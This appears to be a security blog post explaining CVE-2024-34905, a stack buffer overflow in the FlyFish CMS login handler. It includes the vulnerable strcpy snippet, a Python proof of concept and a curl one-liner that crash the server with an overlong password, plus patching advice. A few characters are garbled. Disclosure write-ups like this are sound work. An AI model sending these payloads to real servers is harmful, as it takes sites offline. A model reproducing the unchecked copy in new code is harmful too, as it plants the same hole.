Buffer overflows are a classic vulnerability that still surface in modern software. In early 2024, a critical buffer overflow was found in FlyFish v3.., specifically in the handling of the password parameter on the login page.

This issue, tracked as CVE-2024-34905, allows an unauthenticated attacker to submit a specially crafted password and crash the system—resulting in Denial of Service (DoS). In this post, we’ll explain the bug, share proof-of-concept code, and point out best practices to avoid such issues.

What is FlyFish?

FlyFish is a lightweight, open-source content management system (CMS) written in C. It's known for its speed and minimal footprint, often used on embedded devices or resource-constrained hosting solutions.

Impact: Remote Denial of Service (DoS)

- Attack Vector: Remote / network

Short summary

By submitting an overly long password during authentication, attackers can overwrite memory buffers, crash FlyFish, and make the website unavailable to users.

Vulnerable Code Area

The vulnerability is rooted in how the login page processes the submitted password value. The code allocates a fixed-size buffer for passwords, but fails to check the length of the input, leading to a classic stack-based buffer overflow.

Here’s a simplified snippet reflecting the core of the problem (as found on GitHub):

// Vulnerable snippet in auth.c
int login(char *username, char *password)
{
    char pwd_buf[64];
    strcpy(pwd_buf, password);  // NO LENGTH CHECK!
    // ...rest of the login logic...
}

Notice: The use of strcpy() without validating the length of password, while pwd_buf has a fixed limit of 64 bytes, is a recipe for disaster.

Why Is This Dangerous?

- strcpy(dest, src) copies the source string into the destination buffer, blindly, until it hits a null-terminator (\).

Minimal Proof-of-Concept

Below is a simple Python script that sends an overlong password to the login page. In a typical HTTP POST scenario:

import requests

TARGET = "http://target-flyfish.local/login";
data = {
    "username": "testuser",
    "password": "A" * 256  # 256 bytes—way over 64 bytes buffer!
}

response = requests.post(TARGET, data=data)
print(f"HTTP status: {response.status_code}")
print("If FlyFish crashed, this is likely CVE-2024-34905")

If the server crashes and becomes unresponsive after running the above, you've triggered the vulnerability.

Network tip: FlyFish often runs on port 80 by default; adjust TARGET as needed.

Alternatively, using curl

curl -X POST http://target-flyfish.local/login \
  -d "username=testuser&password=$(python3 -c 'print("A"*256)')"

Monitor the server: If FlyFish stops responding, the buffer overflow has hit.

What About Code Execution?

Right now, this bug "only" enables Denial of Service—no public proof that code execution is possible due to compiler protections (stack canaries, ASLR, DEP). In theory, on unprotected/configured builds, attackers might go further.

References

- CVE-2024-34905 Details on NVD
- FlyFish GitHub Repository
- Original Disclosure / Patch PR
- OWASP: Buffer Overflow

Closing Thoughts

CVE-2024-34905 highlights how classic vulnerabilities like buffer overflows aren’t just a thing of the past. If you run FlyFish, upgrade promptly! As always, don’t trust user input—validate and sanitize every parameter, and use safe coding patterns throughout your stack.

Timeline

Published on: 05/16/2024 15:15:47 UTC
Last modified on: 05/23/2024 21:03:49 UTC